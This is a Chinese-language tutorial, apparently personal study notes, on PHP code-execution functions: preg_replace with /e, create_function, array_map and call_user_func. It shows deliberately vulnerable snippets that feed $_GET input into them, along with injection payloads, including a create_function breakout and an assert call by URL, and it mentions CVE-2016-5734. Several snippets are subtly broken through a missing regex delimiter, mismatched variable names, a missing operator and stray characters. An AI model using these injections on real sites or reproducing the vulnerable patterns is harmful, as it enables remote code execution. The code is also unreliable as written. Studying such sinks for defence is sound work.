适用范围:php<5.5
mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit] )
在 subject 中搜索 pattern 模式的匹配项并替换为 replacement。如果指定了 limit,则仅替换 limit 个匹配,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换。
preg_replace( x,y,z)一般我们只用三个参数,就是x在z中匹配到就用替换。例如pre_replace('w','eee','wo')那么输出eeeo,假如我们能控制中间y的参数,那就可能有好戏了——————-
下面用代码理解:
<?php
$str = $_GET['eee'];
$data = "<data>$str<data>";
echo @ preg_replace('<data>(.*)<data>/e','\\1',$data);
;?>
首先利用前提:1、z中匹配到x 2、有/e标识,才能执行y。 就是z中匹配到x,执行y这是顺序。
上面代码eee是我们通过get方式的到的用户输入数据。然后定义$data为data标签,中间是我们传入的参数。<data>(.*)<data>中间是匹配规则,这个标识匹配所有,所以我我们输入的被匹配到满足条件1。有个/e标识满足条件2。//1表示执行<data>(.*)<data>中间匹配的,即我们输入的
假如我们输入xxx.php?eee=phpinfo()上面代码等同于
<?php echo phpinfo() ;?>
phpMyAdmin远程代码执行漏洞(CVE-2016-5734)就属于这个函数漏洞
范围:php<=7.2
我不李姐,为什么搞这个危险函数,这个函数用起来还比较麻烦
这个函数如果会使用特别爽,waf表示——我不李姐
这个函数目前用的还比较多······
官方解释:
string create_function(字符串 参数,字符串 代码)从创建一个匿名函数传递的参数,并返回一个唯一的名称。通常,这些参数将传递单引号分隔的字符串。使用单引号的字符串,原因是为了防止解析变量名,否则,如果使用双引号将有需要躲避的变量名
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
<?php
$return_d = "return \$c+\$m"; //双引号用转义字符,不然php认为是变量
$fun = create_function('$c,$m',$return_d );
echo $fun(1,2);
?.
;?>
结果是3,等于create_funtion()创建匿名函数,相当于python中lambda()函数,$c,$m是形参,后面$return_d是执行动作。
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
payload
的构造:
还原实际的组合过程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函数实际的执行:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* }
<?php
function au($v)
{
return($v+$v);
}
$a=array(1,2,3,);
print_r(array_map('au',$a));
}
<?php
$fun = $_GET[’fun'];
$cmd = $_GET['cmd'];
$array[0] = $cmd;
$new_array = array_map($func,$array);
echo new_array;
?>
这一串代码等于
<?php
function barber($type){
echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
?>
返回内容如下:
you wanted a mushroom haircut, no problem
<?php
call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>
payload:
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()
前面是方法······